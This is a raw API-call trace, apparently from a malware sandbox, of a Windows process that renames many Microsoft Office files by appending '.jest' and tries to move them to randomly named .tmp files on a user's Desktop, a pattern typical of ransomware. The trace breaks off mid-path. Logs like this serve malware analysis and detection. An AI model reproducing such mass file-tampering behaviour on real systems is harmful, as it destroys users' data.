DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0167.872] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01179J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01179j.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01179J.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01179j.jpg.jest")) returned 1 [0167.876] VarBstrFromR4 (in: fltIn=0x479458b8, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75953.44") returned 0x0 [0167.877] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01179J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01179j.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\SfbMpbdUE3L2OARAO3CXS6Ggn4mUHIovlLtrzmMxffE-Bke8 oyjrh8_0p YiiTHVGFLQ1g8 s5CxfgVLthm35omrZwaJQWghB9D3.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\sfbmpbdue3l2oarao3cxs6ggn4muhiovlltrzmmxffe-bke8 oyjrh8_0p yiithvgflq1g8 s5cxfgvlthm35omrzwajqwghb9d3.tmp")) returned 0 [0167.877] GetLastError () returned 0x2 [0167.877] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0167.878] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01221K.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01221k.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01221K.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01221k.jpg.jest")) returned 1 [0167.881] VarBstrFromR4 (in: fltIn=0x479458ba, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75953.45") returned 0x0 [0167.881] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01221K.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01221k.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\qGQJ5 MStQpobt0nfTUwjgjq4VF3Sz9WdThE8xkz5_ZOCq2XIIooYFeNUQMOdXc-qQN9n8a8kRJ4Rq74O784k3GOe5sEq_1sA4_oV.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\qgqj5 mstqpobt0nftuwjgjq4vf3sz9wdthe8xkz5_zocq2xiiooyfenuqmodxc-qqn9n8a8krj4rq74o784k3goe5seq_1sa4_ov.tmp")) returned 0 [0167.882] GetLastError () returned 0x2 [0167.882] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0167.883] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01239K.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01239k.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01239K.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01239k.jpg.jest")) returned 1 [0167.886] VarBstrFromR4 (in: fltIn=0x479458ba, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75953.45") returned 0x0 [0167.886] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01239K.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01239k.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\UiViVzTfOiZp_ic30E61yxXJmh7UN8-OSz_mG7DiQ0yEgeLKMqoZO9HbuoUmnZ60p2yhMsOzL45t72rLvli3JcTo2Ybr50IWPW Nz.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\uivivztfoizp_ic30e61yxxjmh7un8-osz_mg7diq0yegelkmqozo9hbuoumnz60p2yhmsozl45t72rlvli3jcto2ybr50iwpw nz.tmp")) returned 0 [0167.887] GetLastError () returned 0x2 [0167.887] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0167.888] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02028K.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02028k.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02028K.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02028k.jpg.jest")) returned 1 [0167.890] VarBstrFromR4 (in: fltIn=0x479458ba, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75953.45") returned 0x0 [0167.893] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02028K.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02028k.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7rciG3ChsM8J2qJYS5cwGz_OTECbEK69yjxG2YPTP-iul3mbwCFz I8nb-oJuslvH_G2Ff5X-MeFUMaeV- dDsfxrU_87 QxsPwTu.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\7rcig3chsm8j2qjys5cwgz_otecbek69yjxg2yptp-iul3mbwcfz i8nb-ojuslvh_g2ff5x-mefumaev- ddsfxru_87 qxspwtu.tmp")) returned 0 [0167.893] GetLastError () returned 0x2 [0167.894] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0167.894] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02412K.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02412k.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02412K.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02412k.jpg.jest")) returned 1 [0167.898] VarBstrFromR4 (in: fltIn=0x479458bc, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75953.47") returned 0x0 [0167.899] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02412K.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02412k.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\396nqQbtzEgZ6ls6LDH5XqRXsPdE3YtTVsO6Hu4qL6HDl-dYTS7Uom-dop Zih1XYVxo6SdBXmEY0-USgPCYaexPLNfxLWXYtjBN.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\396nqqbtzegz6ls6ldh5xqrxspde3yttvso6hu4ql6hdl-dyts7uom-dop zih1xyvxo6sdbxmey0-usgpcyaexplnfxlwxytjbn.tmp")) returned 0 [0167.899] GetLastError () returned 0x2 [0167.901] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0167.901] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02759J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02759j.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02759J.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02759j.jpg.jest")) returned 1 [0167.904] VarBstrFromR4 (in: fltIn=0x479458bc, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75953.47") returned 0x0 [0167.905] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02759J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02759j.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Gm9qrM1DesyEWXV6YZKM-Xgc9Eivwp6m94tIQUq mtjv3ijW kkVWtG3IqCLtS13NX c0oP2PkfqnfTBYx-13zyuHAz3dA6Wg6uSG.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\gm9qrm1desyewxv6yzkm-xgc9eivwp6m94tiquq mtjv3ijw kkvwtg3iqclts13nx c0op2pkfqnftbyx-13zyuhaz3da6wg6usg.tmp")) returned 0 [0167.905] GetLastError () returned 0x2 [0167.905] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0167.906] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02829J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02829j.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02829J.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02829j.jpg.jest")) returned 1 [0167.908] VarBstrFromR4 (in: fltIn=0x479458bc, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75953.47") returned 0x0 [0167.909] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02829J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02829j.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\SrItNihkDdQRiGGqt-SK1lpNKFWzB4agfU3dVHYDMGlv68T9HzPEgJj_oWfG3m0rSUg-6iePE9HXvLJdfoUdCIHTAFnY9kNmz6B.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\sritnihkddqriggqt-sk1lpnkfwzb4agfu3dvhydmglv68t9hzpegjj_owfg3m0rsug-6iepe9hxvljdfoudcihtafny9knmz6b.tmp")) returned 0 [0167.909] GetLastError () returned 0x2 [0167.910] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0167.910] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02897J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02897j.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02897J.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02897j.jpg.jest")) returned 1 [0167.913] VarBstrFromR4 (in: fltIn=0x479458be, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75953.48") returned 0x0 [0167.914] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02897J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02897j.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\SPSyFXTQul3GELkB0qbqhJ5Q6W9iTFB_fomtGMwh7GxOp1mY6JmjuIlR7KWIfOu6HFlrzmBkeInuSTdkiyVBDPZ3K-A-30TOqix91.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\spsyfxtqul3gelkb0qbqhj5q6w9itfb_fomtgmwh7gxop1my6jmjuilr7kwifou6hflrzmbkeinustdkiyvbdpz3k-a-30toqix91.tmp")) returned 0 [0167.914] GetLastError () returned 0x2 [0167.914] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0167.915] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03224I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03224i.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03224I.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03224i.jpg.jest")) returned 1 [0167.918] VarBstrFromR4 (in: fltIn=0x479458be, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75953.48") returned 0x0 [0167.920] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03224I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03224i.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0MHTxyVvk 6HjbwYejRCd qU4eWkXQPIlPVlllIwgrGQXcnDRZ10UeZ1zJEtK3MBHqztimqEUWtnIotyzJQ4BQeXfRicw9 m6oZK.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\0mhtxyvvk 6hjbwyejrcd qu4ewkxqpilpvllliwgrgqxcndrz10uez1zjetk3mbhqztimqeuwtniotyzjq4bqexfricw9 m6ozk.tmp")) returned 0 [0167.920] GetLastError () returned 0x2 [0167.920] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0167.921] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03379I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03379i.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03379I.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03379i.jpg.jest")) returned 1 [0167.923] VarBstrFromR4 (in: fltIn=0x479458be, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75953.48") returned 0x0 [0167.924] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03379I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03379i.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\eLl0cCkZtLg_CaPpTivktchtpve KGXgj3yJjF0HE41sNXS90BuDk29BCiVAVCpx0_wn_cR vm3ofnkjsdNy_lFY3-7DpSuKvH0j.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ell0cckztlg_capptivktchtpve kgxgj3yjjf0he41snxs90budk29bcivavcpx0_wn_cr vm3ofnkjsdny_lfy3-7dpsukvh0j.tmp")) returned 0 [0167.925] GetLastError () returned 0x2 [0167.925] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0167.925] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03425I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03425i.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03425I.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03425i.jpg.jest")) returned 1 [0167.928] VarBstrFromR4 (in: fltIn=0x479458c0, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75953.5") returned 0x0 [0167.929] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03425I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03425i.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\d0PWJnvzu1FpcCDOHP5PcJqJOnYIThUmWKwSrAHCZg8mqhH4XNT0KrtZGyHqAXBfyGSjUT _xVrgwLdhsyPT5HZMT0Z2353m54S_-.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\d0pwjnvzu1fpccdohp5pcjqjonyithumwkwsrahczg8mqhh4xnt0krtzgyhqaxbfygsjut _xvrgwldhsypt5hzmt0z2353m54s_-.tmp")) returned 0 [0167.930] GetLastError () returned 0x2 [0167.931] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱗ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0167.931] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\POSTCARD.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\postcard.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\POSTCARD.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\postcard.xml.jest")) returned 1 [0167.937] VarBstrFromR4 (in: fltIn=0x479458c0, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75953.5") returned 0x0 [0167.938] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\POSTCARD.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\postcard.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\giyL5GqY7 DiZ0mt4TKYzyUMdk wYXX5xWu MnwdFbt_KKwx6_Hk0BAxHFvYHfLbb_Sf5 dzdpwgtRnCy3hZ-ljSJeqrdZ6xe0MaF.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\giyl5gqy7 diz0mt4tkyzyumdk wyxx5xwu mnwdfbt_kkwx6_hk0baxhfvyhflbb_sf5 dzdpwgtrncy3hz-ljsjeqrdz6xe0maf.tmp")) returned 0 [0167.938] GetLastError () returned 0x2 [0167.939] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0167.940] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PPTIRM.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pptirm.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PPTIRM.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\pptirm.xml.jest")) returned 1 [0167.944] VarBstrFromR4 (in: fltIn=0x479458c2, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75953.52") returned 0x0 [0167.945] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PPTIRM.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pptirm.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\8C4IDxzGxd0qOtpZ 3ITIwwWXbZEthWPLi SjyFTwCn6HUZjWrjHVyl4KBUqUiUZMU8lrZ0eGaSz25irxLAB pyon7MUIfKkY3tf5.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\8c4idxzgxd0qotpz 3itiwwwxbzethwpli sjyftwcn6huzjwrjhvyl4kbuquiuzmu8lrz0egasz25irxlab pyon7muifkky3tf5.tmp")) returned 0 [0167.945] GetLastError () returned 0x2 [0167.946] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱬ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0167.946] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Premium.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\premium.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Premium.css.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\premium.css.jest")) returned 1 [0167.949] VarBstrFromR4 (in: fltIn=0x479458c2, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75953.52") returned 0x0 [0167.950] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Premium.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\premium.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\J84xYeiWnMnsaSliSezl-Yqn8DATb4UkA5O0R98lq9Hqq-hiE50pVCTDBRpYomhpoC2MVZkfqQQCuEXlVRpVVC9ukTMXtCpB0-H5.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\j84xyeiwnmnsaslisezl-yqn8datb4uka5o0r98lq9hqq-hie50pvctdbrpyomhpoc2mvzkfqqqcuexlvrpvvc9uktmxtcpb0-h5.tmp")) returned 0 [0167.950] GetLastError () returned 0x2 [0167.952] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﲓ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0167.953] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\PRODIGY.NET.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\prodigy.net.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\PRODIGY.NET.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\prodigy.net.xml.jest")) returned 1 [0167.955] VarBstrFromR4 (in: fltIn=0x479458c2, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75953.52") returned 0x0 [0167.956] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\PRODIGY.NET.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\prodigy.net.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HjUUJkdINv5I C9k6y470- EqlVyLx04bguSJgEtnLtVhwJnjInjxOimWtEmPZZL5F8su7sYYvnLPAh_LZ8_kk2VytUMtYegFzkW6.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hjuujkdinv5i c9k6y470- 